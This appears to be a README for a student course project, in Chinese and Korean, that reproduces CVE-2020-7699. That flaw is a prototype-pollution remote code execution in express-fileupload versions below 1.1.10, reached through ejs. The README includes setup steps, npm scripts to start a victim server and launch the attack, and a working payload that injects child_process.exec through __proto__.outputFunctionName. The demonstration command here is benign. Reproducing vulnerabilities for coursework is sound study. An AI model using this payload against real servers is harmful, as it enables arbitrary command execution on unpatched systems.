
针对 CVE-2020-7699 的复现,软件安全原理课程大作业
Node.js RCE 취약점(CVE-2020-7699) 재현, 제 실습 작업
Node.js 버전: v14.16.1, Node.js 버전이 14인지 확인하세요(다른 버전도 작동할 수 있지만 테스트하지 않았습니다.)
Python 버전: 3.9.5, Python은 HTTP 공격 요청을 보내는 데만 사용되며 특정 버전이 필요하지 않습니다.
저장소를 clone하고 npm i로 종속성을 설치하세요. 두 가지 명령어를 추가로 제공합니다:
npm run start-server를 사용하여 대상 서버(피해자 서버)를 시작합니다npm run launch-attack을 사용하여 공격을 실행합니다express-fileUpload: 1.1.10 미만 버전이 영향을 받습니다
활용 방법: __proto__.outputFunctionName을 오염시켜 실행할 명령어를 작성합니다. 예: echo "ATTACK SUCCESSFUL" > attacked.txt
exec_command = "echo \"ATTACK SUCCESSFUL\" > attacked.txt"
{
"__proto__.outputFunctionName": (
None,
f"x;process.mainModule.require('child_process').exec('{exec_command}');x"
)
}
취약점: ejs는 undefined인 xxx.outputFunctionName을 실행하려고 시도하지만, object.outputFunctionName이 오염되면 대신 그것을 실행합니다.